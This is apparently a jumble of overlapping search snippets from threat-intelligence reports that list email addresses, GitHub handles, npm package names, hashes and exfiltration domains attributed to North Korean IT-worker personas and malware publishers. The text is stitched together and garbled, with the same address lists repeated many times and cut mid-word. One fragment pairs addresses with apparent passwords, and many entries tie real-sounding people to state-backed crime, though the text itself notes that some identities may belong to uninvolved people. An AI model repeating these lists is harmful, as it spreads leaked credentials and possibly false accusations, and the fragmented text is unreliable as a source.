chrispalman317@gmail.com christarvic1225@gmail.com christiaan93210@gmail.com christoper.chan0@gmail.com christopher.sun.moon@gmail.com cigif39644@extemer.com citize…","…Year in Review donald.edler0626@gmail.com email malware N/A July 2025 DPRK malware distributor GitLab.com account Year in Review chrisritter5272@outlook.com email malware N/A July 2025 DPRK malware distributor GitLab.com account Year in Review hs8179189@gmail.com email malware N/A July 2025…","…byolate@gmail.com email insider N/A N/A DPRK developer email 2 starneit105@gmail.com email insider N/A N/A DPRK developer email 2 chrissamuel729@gmail.com email insider N/A N/A DPRK developer email 2 lozanvranic@gmail.com email insider N/A N/A DPRK developer email 2 qoneits@outlook.com…","…l.com chibiharukitchub21@gmail.com chidotechdev@gmail.com chris.jenkins.j1005@gmail.com chrischanosd1011@gmail.com chrispalman317@gmail.com christarvic1225@gmail.com christiaan93210@gmail.com christoper.chan0@gmail.com christopher.sun.moon@gmail.com cigif39644@extemer.com citizenjohn.superdev@gmail.com c…","…mail.com chidotechdev@gmail.com chris.jenkins.j1005@gmail.com chrischanosd1011@gmail.com chrispalman317@gmail.com christarvic1225@gmail.com christiaan93210@gmail.com christoper.chan0@gmail.com christopher.sun.moon@gmail.com cigif39644@extemer.com citizenjohn.superdev@gmail.com cleancode0928@gmail.com cle…","…27f1466161585c734c5d279e0d8a1582a7ff236f4efc5f7a9c5bf7f7c33f7e5f 2026-08-10 chai-as-reformed (1.2.0) 2026-08-10 key-12 <christian.muana@outlook.com> d45278cad38961e3a7bd139911cf42eb73976e7f50db43f9cdbfd8d7a803b4e2 ffa61701ff61ebc0c6d64cf09f5bc37a74a91b03b716129b90271d758dc164b7…","…l.com chris.jenkins.j1005@gmail.com chrischanosd1011@gmail.com chrispalman317@gmail.com christarvic1225@gmail.com christiaan93210@gmail.com christoper.chan0@gmail.com christopher.sun.moon@gmail.com cigif39644@extemer.com citizenjohn.superdev@gmail.com cleancode0928@gmail.com clearstarbluce@gmail.com cleve…","…2026 carissae@hr.mailpulsynk.xyz Email address Attacker-controlled email address May 2026 christopher@hr.trixauvex.org Email address Attacker-controlled email address May 2026 chrisyan@hr.pulsynk.org Email address…","…2026-08-12 external-process-live-log (13.5.2) 2026-08-12 christophercruz91815 <christophercruz91815@gmail.com> cloudflare.com fastly.net keyIcon.com akamai.net cloudfront.net gcorelabs.com…","…christopher.smith.ye47 (christopher.smith.ye47@gmail.com) 2026-02-26 10:25:49 iosysredis v5.13.2 ( download ) christopher.smith471014 (christopher.smith471014@gmail.com) 2026-02-26 10:16:52 sequelization v6.40.2 ( download ) hello.mr.jr29 (hello.mr.jr29@gmail.com) 2026-02-26 10:09:45 undicy-lint…","…my analysis is further below. Date Package npm user 2026-02-26 10:35:55 daytonjs v1.11.20 ( download ) christopher.smith.hal47 (christopher.smith.hal47@gmail.com) 2026-02-26 10:33:00 corstoken v2.14.7 ( download ) christopher.smith.hj47 (christopher.smith.hj47@gmail.com) 2026-02-26 10:28:26…","…christopher.smith.hal47 (christopher.smith.hal47@gmail.com) 2026-02-26 10:33:00 corstoken v2.14.7 ( download ) christopher.smith.hj47 (christopher.smith.hj47@gmail.com) 2026-02-26 10:28:26 jsnwebapptoken v8.40.2 ( download ) christopher.smith.ye47 (christopher.smith.ye47@gmail.com) 2026-02-26…","…(christopher.smith.hj47@gmail.com) 2026-02-26 10:28:26 jsnwebapptoken v8.40.2 ( download ) christopher.smith.ye47 (christopher.smith.ye47@gmail.com) 2026-02-26 10:25:49 iosysredis v5.13.2 ( download ) christopher.smith471014 (christopher.smith471014@gmail.com) 2026-02-26 10:16:52…","…mail.com chrischanosd1011@gmail.com chrispalman317@gmail.com christarvic1225@gmail.com christiaan93210@gmail.com christoper.chan0@gmail.com christopher.sun.moon@gmail.com cigif39644@extemer.com citizenjohn.superdev@gmail.com cleancode0928@gmail.com clearstarbluce@gmail.com cleverdev727@gmail.com clientanna01@…","…chain1107saw@gmail.com chaparrocesaryed510727@outlook.com cheekaide1992@gmail.com ChinneryMarcia5425@hotmail.com christrotman727@outlook.com cibin87216@exitbit.com ctwajstj8948@hotmail.com danicaagawin5@gmail.com darielfrias89@outlook.com…","…2026 christopher@hr.trixauvex.org Email address Attacker-controlled email address May 2026 chrisyan@hr.pulsynk.org Email address Attacker-controlled email address May 2026 emmaparker@hr.recruitvex.us Email…","…magalhaesbruno236@gmail.com jacksonblau11ai@gmail.com jinping0821@outlook.com rodolfguerr@gmail.com david262721@outlook.com chulovskaolena@outlook.com oleksandrkazadaiev522@gmail.com hera19970204@outlook.com zeus19970204@outlook.com imanwdr30@hotmail.com…","…chaparrocesaryed510727@outlook.com cheekaide1992@gmail.com ChinneryMarcia5425@hotmail.com christrotman727@outlook.com cibin87216@exitbit.com ctwajstj8948@hotmail.com danicaagawin5@gmail.com darielfrias89@outlook.com davidfernandez420@outlook.com…","….com chrispalman317@gmail.com christarvic1225@gmail.com christiaan93210@gmail.com christoper.chan0@gmail.com christopher.sun.moon@gmail.com cigif39644@extemer.com citizenjohn.superdev@gmail.com cleancode0928@gmail.com clearstarbluce@gmail.com cleverdev727@gmail.com clientanna01@gmail.com cloud.dev.199…","…il.com christarvic1225@gmail.com christiaan93210@gmail.com christoper.chan0@gmail.com christopher.sun.moon@gmail.com cigif39644@extemer.com citizenjohn.superdev@gmail.com cleancode0928@gmail.com clearstarbluce@gmail.com cleverdev727@gmail.com clientanna01@gmail.com cloud.dev.1992@gmail.com cloudrider.m92@gmai…","…bzuinvestorsclub82574@hotmail.com charlieaffiliates22177@gmail.com cheaphomeseller55358@gmail.com chicagomrreid01317@gmail.com citylivingagent99587@gmail.com crimson72489@yahoo.com cygnusonyxxzbek89014@gmail.com daniellequaranta3@yahoo.com dataflight38629@gmail.com…","…2 ====== johnathon.h.tneg18@gmail.com leptointel213@gmail.com clark.pickles30@proton.me dkwebigo416@gmail.com zhangxu57477@gmail.com kholodroman6@gmail.com hanhd7231@gmail.com artemyaroshenko540@gmail.com ratushniakoleksii8@gma…","…m christiaan93210@gmail.com christoper.chan0@gmail.com christopher.sun.moon@gmail.com cigif39644@extemer.com citizenjohn.superdev@gmail.com cleancode0928@gmail.com clearstarbluce@gmail.com cleverdev727@gmail.com clientanna01@gmail.com cloud.dev.1992@gmail.com cloudrider.m92@gmail.com coach.wife.30791f@…","…hang1021@gmail.com topdev1228@protonmail.com hasan.musaj312@protonmail.com toshyodev@outlook.com slark0704@gmail.com helios9116@outlook.com cleanlake412@hotmail.com masterdev1027@gmail.com https://github.com/smartfox1203 https://github.com/hellovlady https://github.com/fulldev317 https://github.com/Zha…","…topdev1228@protonmail.com - hasan.musaj312@protonmail.com - toshyodev@outlook.com - slark0704@gmail.com - helios9116@outlook.com - cleanlake412@hotmail.com - masterdev1027@gmail.com - github.com/smartfox1203 - github.com/hellovlady - github.com/fulldev317 - github.com/Zhang-777 --- #…","…com christoper.chan0@gmail.com christopher.sun.moon@gmail.com cigif39644@extemer.com citizenjohn.superdev@gmail.com cleancode0928@gmail.com clearstarbluce@gmail.com cleverdev727@gmail.com clientanna01@gmail.com cloud.dev.1992@gmail.com cloudrider.m92@gmail.com coach.wife.30791f@gizmotik.com cocodev0113@…","…l.com christopher.sun.moon@gmail.com cigif39644@extemer.com citizenjohn.superdev@gmail.com cleancode0928@gmail.com clearstarbluce@gmail.com cleverdev727@gmail.com clientanna01@gmail.com cloud.dev.1992@gmail.com cloudrider.m92@gmail.com coach.wife.30791f@gizmotik.com cocodev0113@gmail.com cocokingdom27…","…oon@gmail.com cigif39644@extemer.com citizenjohn.superdev@gmail.com cleancode0928@gmail.com clearstarbluce@gmail.com cleverdev727@gmail.com clientanna01@gmail.com cloud.dev.1992@gmail.com cloudrider.m92@gmail.com coach.wife.30791f@gizmotik.com cocodev0113@gmail.com cocokingdom27@gmail.com codechef730@…","…com bremaster0806@gmail.com bruno.jackson.dev@gmail.com caddo.caleb229@gmail.com caddo.smith0229@gmail.com chase.allen.tech@gmail.com cliffahleongtech@gmail.com cloudstrifeinfinite@gmail.com colleen.cl.hillyard@gmail.com daren.shamoun28@gmail.com dejanteofilovic2@gmail.com dejanteofilovicup@gma…","…pinkstrawberrymilk1025@gmail.com[email protected] luis.gamez1004@gmail.com[email protected] cliff.luo226@gmail.com[email protected] semochkomaksym@gmail.com[email protected] sun.james1025@gmail.com[email protected]…","…lk@gmail.com yellowstrawberrymilk@gmail.com bluestrawberrymilk1025@gmail.com pinkstrawberrymilk1025@gmail.com luis.gamez1004@gmail.com cliff.luo226@gmail.com semochkomaksym@gmail.com sun.james1025@gmail.com coolguy.arber09@gmail.com arber.berisha995@gmail.com arber.berisha009@gmail.com mill…","…4@extemer.com citizenjohn.superdev@gmail.com cleancode0928@gmail.com clearstarbluce@gmail.com cleverdev727@gmail.com clientanna01@gmail.com cloud.dev.1992@gmail.com cloudrider.m92@gmail.com coach.wife.30791f@gizmotik.com cocodev0113@gmail.com cocokingdom27@gmail.com codechef730@gmail.com codefan0915@gma…","…fka Nemanja Djordjevic - firstninja111 - github.com/firstninja111 • [Archive](https://archive.ph/tFeQG) - cloudrider.m92@gmail.com - 0x92cd7363c5b1853bc8fe6b5ae269836fc508ca73 #### Mike Willie Lee - 2024, [Zach's…","….superdev@gmail.com cleancode0928@gmail.com clearstarbluce@gmail.com cleverdev727@gmail.com clientanna01@gmail.com cloud.dev.1992@gmail.com cloudrider.m92@gmail.com coach.wife.30791f@gizmotik.com cocodev0113@gmail.com cocokingdom27@gmail.com codechef730@gmail.com codefan0915@gmail.com codegenerator1994@…","…bruno.jackson.dev@gmail.com caddo.caleb229@gmail.com caddo.smith0229@gmail.com chase.allen.tech@gmail.com cliffahleongtech@gmail.com cloudstrifeinfinite@gmail.com colleen.cl.hillyard@gmail.com daren.shamoun28@gmail.com dejanteofilovic2@gmail.com dejanteofilovicup@gmail.com dev@flosports.tv devel…","…: \"126175765+Dima0dev@users.noreply.github.com\" , \"name\" : \"Dima\" \"email\" : \"atos980411@gmail.com\" , \"name\" : \"AtosDev\" \"email\" : \"cloverdev88@gmail.com\" , \"name\" : \"AtosDev\" \"email\" : \"cloverdev88@gmail.com\" , \"name\" : \"unknown\" \"email\" : \"superdev4837@gmail.com\" , \"name\" :…","…malware developer accounts Year in Review vlulepet9@gmail.com email malware N/A N/A DPRK malware developer accounts Year in Review cnova.business.en@gmail.com email malware N/A December 2025 DPRK malware distributor GitLab.com account Year in Review danielmcevily.business918@gmail.com email…","…code0928@gmail.com clearstarbluce@gmail.com cleverdev727@gmail.com clientanna01@gmail.com cloud.dev.1992@gmail.com cloudrider.m92@gmail.com coach.wife.30791f@gizmotik.com cocodev0113@gmail.com cocokingdom27@gmail.com codechef730@gmail.com codefan0915@gmail.com codegenerator1994@gmail.com codemaster9428@gmail.…","…ce@gmail.com cleverdev727@gmail.com clientanna01@gmail.com cloud.dev.1992@gmail.com cloudrider.m92@gmail.com coach.wife.30791f@gizmotik.com cocodev0113@gmail.com cocokingdom27@gmail.com codechef730@gmail.com codefan0915@gmail.com codegenerator1994@gmail.com codemaster9428@gmail.com codewarrier3000@gm…","…727@gmail.com clientanna01@gmail.com cloud.dev.1992@gmail.com cloudrider.m92@gmail.com coach.wife.30791f@gizmotik.com cocodev0113@gmail.com cocokingdom27@gmail.com codechef730@gmail.com codefan0915@gmail.com codegenerator1994@gmail.com codemaster9428@gmail.com codewarrier3000@gmail.com codewaterhole@gm…","…1QAZxsw balsinyar@gmail.com 11111111, Xiah audreybass140@gmail.com P@ssw0rd chainerspace@gmail.com qwe123QWE!@# codechef730@gmail.com watercup123 comsuper0030@gmail.com qweQWE123!@# danny.may.9012@gmail.com 123 darkhorse03111@gmail.com 123123…","….1992@gmail.com cloudrider.m92@gmail.com coach.wife.30791f@gizmotik.com cocodev0113@gmail.com cocokingdom27@gmail.com codechef730@gmail.com codefan0915@gmail.com codegenerator1994@gmail.com codemaster9428@gmail.com codewarrier3000@gmail.com codewaterhole@gmail.com codingmaster316@Gmail.com coffee.to.…","…ider.m92@gmail.com coach.wife.30791f@gizmotik.com cocodev0113@gmail.com cocokingdom27@gmail.com codechef730@gmail.com codefan0915@gmail.com codegenerator1994@gmail.com codemaster9428@gmail.com codewarrier3000@gmail.com codewaterhole@gmail.com codingmaster316@Gmail.com coffee.to.code.dev@gmail.com colleendl…","…Here's a small sample: masterdev1027@gmail.com fulldev317@gmail.com codeknight0707@gmail.com seniordev9726@outlook.com dreamcomes0704@gmail.com topdev1228@protonmail.com helios0912@outlook.com smartfox1203@gmail.com \"star\",…","…masterdev1027 - seniordev9726 - slark0704 - smartfox1203 - topdev1228 - toshyodev - Zhang-777 - smartfox1203@gmail.com - codeknight0707@gmail.com - seniordev9726@outlook.com - anydev1103@gmail.com - fulldev114@outlook.com - boriszhang1021@gmail.com - topdev1228@protonmail.com -…","…scott.brown00629@gmail.com[email protected] guzmandelfino1992@gmail.com[email protected] codelover111@gmail.com[email protected] alexnikolaos007@gmail.com[email protected] botofprince@gmail.com[email protected]…","…amotohitoshi912@gmail.com muhammadhamid4760@gmail.com scott.brown0629@gmail.com scott.brown00629@gmail.com guzmandelfino1992@gmail.com codelover111@gmail.com alexnikolaos007@gmail.com botofprince@gmail.com jaggiusman@gmail.com boava94722@gmail.com rabbitking0130@gmail.com bengrantsoft@gmail…","…with `cooldev900` / `silversoft0707` and `oldhand7` - github.com/alexlu0917 - github.com/CodeMaestro11/ - alexlu0917.dev@gmail.com - codeMaestro11@outlook.com - https://opensea.io/Alexlu0917 - https://web3.career/@alexlu0917 - ![](./alexlu0917.png) #### CodeMaestro11 - CodeMaestro -…","…e.30791f@gizmotik.com cocodev0113@gmail.com cocokingdom27@gmail.com codechef730@gmail.com codefan0915@gmail.com codegenerator1994@gmail.com codemaster9428@gmail.com codewarrier3000@gmail.com codewaterhole@gmail.com codingmaster316@Gmail.com coffee.to.code.dev@gmail.com colleendlgd@gmail.com comantivirus…","Published on 17 May 2025 in a thread the researcher opened with \"Lets play a profile picture game! Here are a few fun DPRK ITW/remote worker profile pics and their associated emails.\" Each post in it pairs one address with the profile photograph used alongside it. This entry is one such post: the address codewarrier3000@gmail.com and the picture below it. The photograph is mirrored here because these posts are the only published record of the face an operator presented, and the accounts they came from are routinely deleted. It is not evidence of who operates the address: a profile picture in this dataset is as likely to be generated, stock, or taken from an uninvolved person. The researcher gives no name, and the address does not read as one, so the page is filed under the address’s own local part rather than under a name invented for it.","Found on 24 September 2026 by searching GitHub's commit index for published persona addresses and reading which account GitHub attributes the commits to. GitHub credits a commit to the account that has the signing address registered and verified, which only the holder of the mailbox can do, so an attributed account is one the address's holder controls, whichever repository the commits sit in and whenever the address was added. Counts are of the commits GitHub's search returns, up to 100.\n\nGitHub attributes 26 commits signed codewarrier3000@gmail.com, an address browsercookies publishes for this persona, to github.com/super-developer-king, account id 118246675, created on 15 November 2022, with 1 public repository.","…Montero / Eugene Tan / TalentKingDev - Madrid - dove123_ - eugenetan0105 - expertvetted7 - TalentKingDev - codewarrier3000 - codewarrier3000@gmail.com - github.com/TalentKingDev - linkedin.com/in/jvmontero-35/ - lucky.godness.tan@gmail.com - t.me/expertvetted7 (ID: 7030416097) •…","…odev0113@gmail.com cocokingdom27@gmail.com codechef730@gmail.com codefan0915@gmail.com codegenerator1994@gmail.com codemaster9428@gmail.com codewarrier3000@gmail.com codewaterhole@gmail.com codingmaster316@Gmail.com coffee.to.code.dev@gmail.com colleendlgd@gmail.com comantivirus250@gmail.com comma0517@gm…","…gdom27@gmail.com codechef730@gmail.com codefan0915@gmail.com codegenerator1994@gmail.com codemaster9428@gmail.com codewarrier3000@gmail.com codewaterhole@gmail.com codingmaster316@Gmail.com coffee.to.code.dev@gmail.com colleendlgd@gmail.com comantivirus250@gmail.com comma0517@gmail.com comsuper0030@gma…","…f730@gmail.com codefan0915@gmail.com codegenerator1994@gmail.com codemaster9428@gmail.com codewarrier3000@gmail.com codewaterhole@gmail.com codingmaster316@Gmail.com coffee.to.code.dev@gmail.com colleendlgd@gmail.com comantivirus250@gmail.com comma0517@gmail.com comsuper0030@gmail.com confidencegabriel87…","The account name is transcribed by hand from the screenshot attached to the post, a GitHub profile page carrying the handle ares-dev05 under the display name Full Stack Developer. The post states the account has direct links to Kan Bei, also known as Karl Chong, and cites Nisos research on that actor. The address codingninjaprox@gmail.com is the dominant author on the commits in this account's own GitHub repositories, recovered 2026-09-12; it is the operator's own commit address, not a forked repo's upstream author.","…email insider N/A N/A Threat actor persona email 4 brianyoung0203@gmail.com email insider N/A N/A Threat actor persona email 4 codingwork.dev@gmail.com email insider N/A N/A Threat actor persona email 4 jinwangdev531@gmail.com email insider N/A N/A Threat actor persona email 4…","…@gmail.com codegenerator1994@gmail.com codemaster9428@gmail.com codewarrier3000@gmail.com codewaterhole@gmail.com codingmaster316@Gmail.com coffee.to.code.dev@gmail.com colleendlgd@gmail.com comantivirus250@gmail.com comma0517@gmail.com comsuper0030@gmail.com confidencegabriel87913@gmail.com confidencejames…","…names, some real, some rented, but the committer , on every weaponized repo I could find, is the same throwaway address, coinstar@gmail.com .…","…npm maintainer / golangorg email Registered all three malicious packages, linked to golangorg GitHub cointech0000@gmail.com[email protected] maxcointech1010 email ★ new Second actor account, cointech naming overlap simplecode1996@gmail.com[email protected]…","…caddo.caleb229@gmail.com caddo.smith0229@gmail.com chase.allen.tech@gmail.com cliffahleongtech@gmail.com cloudstrifeinfinite@gmail.com colleen.cl.hillyard@gmail.com daren.shamoun28@gmail.com dejanteofilovic2@gmail.com dejanteofilovicup@gmail.com dev@flosports.tv developer789222@gmail.com devking87…","…gmail.com codemaster9428@gmail.com codewarrier3000@gmail.com codewaterhole@gmail.com codingmaster316@Gmail.com coffee.to.code.dev@gmail.com colleendlgd@gmail.com comantivirus250@gmail.com comma0517@gmail.com comsuper0030@gmail.com confidencegabriel87913@gmail.com confidencejamesdean0304+1@gmail.com c…","…28@gmail.com codewarrier3000@gmail.com codewaterhole@gmail.com codingmaster316@Gmail.com coffee.to.code.dev@gmail.com colleendlgd@gmail.com comantivirus250@gmail.com comma0517@gmail.com comsuper0030@gmail.com confidencegabriel87913@gmail.com confidencejamesdean0304+1@gmail.com confidencejamesdean0304@gma…","…00@gmail.com codewaterhole@gmail.com codingmaster316@Gmail.com coffee.to.code.dev@gmail.com colleendlgd@gmail.com comantivirus250@gmail.com comma0517@gmail.com comsuper0030@gmail.com confidencegabriel87913@gmail.com confidencejamesdean0304+1@gmail.com confidencejamesdean0304@gmail.com confidencesmi…","…11111111, Xiah audreybass140@gmail.com P@ssw0rd chainerspace@gmail.com qwe123QWE!@# codechef730@gmail.com watercup123 comsuper0030@gmail.com qweQWE123!@# danny.may.9012@gmail.com 123 darkhorse03111@gmail.com 123123 duartejose020202@gmail.com 123123123…","…master316@Gmail.com coffee.to.code.dev@gmail.com colleendlgd@gmail.com comantivirus250@gmail.com comma0517@gmail.com comsuper0030@gmail.com confidencegabriel87913@gmail.com confidencejamesdean0304+1@gmail.com confidencejamesdean0304@gmail.com confidencesmithjason0219@gmail.com cool.communication.1993@gmail.com…","…m comantivirus250@gmail.com comma0517@gmail.com comsuper0030@gmail.com confidencegabriel87913@gmail.com confidencejamesdean0304+1@gmail.com confidencejamesdean0304@gmail.com confidencesmithjason0219@gmail.com cool.communication.1993@gmail.com cool.joy.miki@gmail.com cool.pinocchio1993@gmail.com coolclient87@upwo…","…517@gmail.com comsuper0030@gmail.com confidencegabriel87913@gmail.com confidencejamesdean0304+1@gmail.com confidencejamesdean0304@gmail.com confidencesmithjason0219@gmail.com cool.communication.1993@gmail.com cool.joy.miki@gmail.com cool.pinocchio1993@gmail.com coolclient87@upworksuperuser.space coolclient95@upwo…","…levex-refa-1.0.0.tgz exfil: cloudflareguard.vercel.app 2026-03-12 06:20:26 pino-logger-utils (v1.0.1) anderson2626 (conrad.anderson75926@gmail.com) pino-logger-utils-1.0.1.tgz exfil: clob-polymarket.com 2026-03-11 17:13:59 big-nunber (v5.0.2) nami.jam.i.h.s.h.s…","…2026-08-10 and 2026-09-09 later earlier Released Package IOCs 2026-09-07 chai-as-sleek (7.1.2) 2026-09-07 love98422 <continacondes7940@hotmail.com> df4970a67c9caae5dd2e4603ea726f7624a4c17bb197a1039985a10ff9b56923 2026-09-04 ulid-intel (3.0.1) 2026-09-04 marciajedrek586…","…(0.5.1) 2026-09-08 xefila5297 <xefila5297@hebase.com> 2026-09-07 chai-as-sleek (7.1.2) 2026-09-07 love98422 <continacondes7940@hotmail.com> df4970a67c9caae5dd2e4603ea726f7624a4c17bb197a1039985a10ff9b56923 2026-09-07 tailwind-forms-styles (0.5.1) 2026-09-07…","…ean0304@gmail.com confidencesmithjason0219@gmail.com cool.communication.1993@gmail.com cool.joy.miki@gmail.com cool.pinocchio1993@gmail.com coolclient87@upworksuperuser.space coolclient95@upworksuperuser.space coolcrocodile2261@gmail.com cooldev030129@outlook.com core.beast18@outlook.com coredev0422@gmail.com cor…","…son0219@gmail.com cool.communication.1993@gmail.com cool.joy.miki@gmail.com cool.pinocchio1993@gmail.com coolclient87@upworksuperuser.space coolclient95@upworksuperuser.space coolcrocodile2261@gmail.com cooldev030129@outlook.com core.beast18@outlook.com coredev0422@gmail.com coryitpro@gmail.com couchanthony109@gm…","…m confidencegabriel87913@gmail.com confidencejamesdean0304+1@gmail.com confidencejamesdean0304@gmail.com confidencesmithjason0219@gmail.com cool.communication.1993@gmail.com cool.joy.miki@gmail.com cool.pinocchio1993@gmail.com coolclient87@upworksuperuser.space coolclient95@upworksuperuser.space coolcrocodile226…","…n.1993@gmail.com cool.joy.miki@gmail.com cool.pinocchio1993@gmail.com coolclient87@upworksuperuser.space coolclient95@upworksuperuser.space coolcrocodile2261@gmail.com cooldev030129@outlook.com core.beast18@outlook.com coredev0422@gmail.com coryitpro@gmail.com couchanthony109@gmail.com covidhunter036@gmail…","…ki@gmail.com cool.pinocchio1993@gmail.com coolclient87@upworksuperuser.space coolclient95@upworksuperuser.space coolcrocodile2261@gmail.com cooldev030129@outlook.com core.beast18@outlook.com coredev0422@gmail.com coryitpro@gmail.com couchanthony109@gmail.com covidhunter036@gmail.com crazy.rabbit1100@gmai…","…com pinkstrawberrymilk1025@gmail.com luis.gamez1004@gmail.com cliff.luo226@gmail.com semochkomaksym@gmail.com sun.james1025@gmail.com coolguy.arber09@gmail.com arber.berisha995@gmail.com arber.berisha009@gmail.com millionsapphire@outlook.com derekdev2023@outlook.com…","…confidencejamesdean0304+1@gmail.com confidencejamesdean0304@gmail.com confidencesmithjason0219@gmail.com cool.communication.1993@gmail.com cool.joy.miki@gmail.com cool.pinocchio1993@gmail.com coolclient87@upworksuperuser.space coolclient95@upworksuperuser.space coolcrocodile2261@gmail.com cooldev03012…","…+1@gmail.com confidencejamesdean0304@gmail.com confidencesmithjason0219@gmail.com cool.communication.1993@gmail.com cool.joy.miki@gmail.com cool.pinocchio1993@gmail.com coolclient87@upworksuperuser.space coolclient95@upworksuperuser.space coolcrocodile2261@gmail.com cooldev030129@outlook.com core.beast18@ou…","…Oleksandr Muravskyi (aka Artur Dranhoi) - oleksandr-muravskyi - PrinceCharming0115 - artur.dranhoi@exiod.io - coolprince0115@gmail.com - ole.dev300@hotmail.com - olek.muravskyi@outlook.com #### Joel Kursala - 0xa8cB25ddf0A7195BDc3232ac6e1D812c8a4713Fe #### Daniel Klein…","…o1993@gmail.com coolclient87@upworksuperuser.space coolclient95@upworksuperuser.space coolcrocodile2261@gmail.com cooldev030129@outlook.com core.beast18@outlook.com coredev0422@gmail.com coryitpro@gmail.com couchanthony109@gmail.com covidhunter036@gmail.com crazy.rabbit1100@gmail.com crazybrainy333@gmai…","…t87@upworksuperuser.space coolclient95@upworksuperuser.space coolcrocodile2261@gmail.com cooldev030129@outlook.com core.beast18@outlook.com coredev0422@gmail.com coryitpro@gmail.com couchanthony109@gmail.com covidhunter036@gmail.com crazy.rabbit1100@gmail.com crazybrainy333@gmail.com crazybrainy333@s…","…• [Archive](https://web.archive.org/web/20250722051253/https://github.com/TopCodeBeast) - t.me/flashhypo - maxb47163@gmail.com - coronarider01@gmail.com - neoprince1992@gmail.com - judekinsley911@gmail.com - icarodev1031@gmail.com - cryptobyte3@gmail.com -…","…developer platforms Year in Review taraslysenko@mail.io email malware N/A N/A DPRK malware developer accounts Year in Review corresol28@gmail.com email malware N/A N/A DPRK malware developer accounts Year in Review corresol28@outlook.com email malware N/A N/A DPRK malware developer…","…malware developer accounts Year in Review corresol28@gmail.com email malware N/A N/A DPRK malware developer accounts Year in Review corresol28@outlook.com email malware N/A N/A DPRK malware developer accounts Year in Review paniker1110@outlook.com email malware N/A N/A DPRK malware…","…byteutilsbox 2026-04-16 live registry brycemillertech@outlook.com chai-as-adapter 2026-03-26 live registry corvettdan1963@inlook.cloud chai-as-chain-v2 2026-03-25 live registry corvettdan1963@inlook.cloud chai-as-char 2026-04-18 live registry…","…, chai-extensions-extra , gemini-ai-checker — is flagged across multiple DPRK-attributed packages in the kmsec feed corvettdan1963@inlook.cloud — publisher of chai-as-adapter , chai-as-chain-v2 , chai-as-evm — appears in the same cluster mwai2005@officecombine.com ( chai-use-chain…","…ace coolclient95@upworksuperuser.space coolcrocodile2261@gmail.com cooldev030129@outlook.com core.beast18@outlook.com coredev0422@gmail.com coryitpro@gmail.com couchanthony109@gmail.com covidhunter036@gmail.com crazy.rabbit1100@gmail.com crazybrainy333@gmail.com crazybrainy333@skiff.com crazydev121…","…orksuperuser.space coolcrocodile2261@gmail.com cooldev030129@outlook.com core.beast18@outlook.com coredev0422@gmail.com coryitpro@gmail.com couchanthony109@gmail.com covidhunter036@gmail.com crazy.rabbit1100@gmail.com crazybrainy333@gmail.com crazybrainy333@skiff.com crazydev121213@gmail.com crazypassion…","…codile2261@gmail.com cooldev030129@outlook.com core.beast18@outlook.com coredev0422@gmail.com coryitpro@gmail.com couchanthony109@gmail.com covidhunter036@gmail.com crazy.rabbit1100@gmail.com crazybrainy333@gmail.com crazybrainy333@skiff.com crazydev121213@gmail.com crazypassion218@gmail.com creative199…","…email insider N/A N/A Threat actor-controlled email 1 bowavelink@163.com email insider N/A N/A Threat actor-controlled email 1 cpduran0622@gmail.com email insider N/A N/A Threat actor-controlled email 1 docker1001@outlook.com email insider N/A N/A Threat actor-controlled email 1…","…in Review thiagocosta199295@gmail.com email malware N/A December 2025 DPRK malware distributor GitLab.com account Year in Review cptrhzv09@hotmail.com email malware N/A December 2025 DPRK malware distributor GitLab.com account Year in Review chainsaw1107@gmail.com email malware N/A…","…karenhooi.cpa.cga.business1016@gmail.com email malware N/A October 2025 DPRK malware distributor GitLab.com account Year in Review craigsmith93.business@gmail.com email malware N/A October 2025 DPRK malware distributor GitLab.com account Year in Review paulodiego0902@outlook.com email malware N/A…","…beast18@outlook.com coredev0422@gmail.com coryitpro@gmail.com couchanthony109@gmail.com covidhunter036@gmail.com crazy.rabbit1100@gmail.com crazybrainy333@gmail.com crazybrainy333@skiff.com crazydev121213@gmail.com crazypassion218@gmail.com creative19970518@gmail.com creativebull0103@gmail.com creativec…","…ev0422@gmail.com coryitpro@gmail.com couchanthony109@gmail.com covidhunter036@gmail.com crazy.rabbit1100@gmail.com crazybrainy333@gmail.com crazybrainy333@skiff.com crazydev121213@gmail.com crazypassion218@gmail.com creative19970518@gmail.com creativebull0103@gmail.com creativecode0217@gmail.com cristia…","…o@gmail.com couchanthony109@gmail.com covidhunter036@gmail.com crazy.rabbit1100@gmail.com crazybrainy333@gmail.com crazybrainy333@skiff.com crazydev121213@gmail.com crazypassion218@gmail.com creative19970518@gmail.com creativebull0103@gmail.com creativecode0217@gmail.com cristianorodriguez779@gmail.com…","…in the main text above.) SonataM \"created_at\" : \"2024-06-23T15:07:34Z\" , \"updated_at\" : \"2025-03-26T11:15:51Z\" \"email\" : \"crazy.dream0129@gmail.com\" , \"name\" : \"SonataM\" \"email\" : \"mooneydev9001@gmail.com\" , \"name\" : \"SonataM\" SonataM Phishing/RugPulls: Note: the below list…","…09@gmail.com covidhunter036@gmail.com crazy.rabbit1100@gmail.com crazybrainy333@gmail.com crazybrainy333@skiff.com crazydev121213@gmail.com crazypassion218@gmail.com creative19970518@gmail.com creativebull0103@gmail.com creativecode0217@gmail.com cristianorodriguez779@gmail.com cronus.diamond@gmail.com c…","A fourteen-post thread on the accounts that worked on Tokamak Network's bridge front end, marketplace and subgraph between November 2023 and February 2025, read as a single cell from the primary account's following list, commit-email forensics, renamed and deleted handles, and account-creation dates clustered within days of each other. Every value here is stated in the thread; post thirteen is the researcher's own address map for the cell. Listed in the primary account's following list and in the address map.","…dev030129@outlook.com core.beast18@outlook.com coredev0422@gmail.com coryitpro@gmail.com couchanthony109@gmail.com covidhunter036@gmail.com crazy.rabbit1100@gmail.com crazybrainy333@gmail.com crazybrainy333@skiff.com crazydev121213@gmail.com crazypassion218@gmail.com creative19970518@gmail.com creativebul…","…6@gmail.com crazy.rabbit1100@gmail.com crazybrainy333@gmail.com crazybrainy333@skiff.com crazydev121213@gmail.com crazypassion218@gmail.com creative19970518@gmail.com creativebull0103@gmail.com creativecode0217@gmail.com cristianorodriguez779@gmail.com cronus.diamond@gmail.com crowdworks@teml.net crownnp1…","…0@gmail.com crazybrainy333@gmail.com crazybrainy333@skiff.com crazydev121213@gmail.com crazypassion218@gmail.com creative19970518@gmail.com creativebull0103@gmail.com creativecode0217@gmail.com cristianorodriguez779@gmail.com cronus.diamond@gmail.com crowdworks@teml.net crownnp1016@gmail.com cryptoapple11…","…gmail.com crazybrainy333@skiff.com crazydev121213@gmail.com crazypassion218@gmail.com creative19970518@gmail.com creativebull0103@gmail.com creativecode0217@gmail.com cristianorodriguez779@gmail.com cronus.diamond@gmail.com crowdworks@teml.net crownnp1016@gmail.com 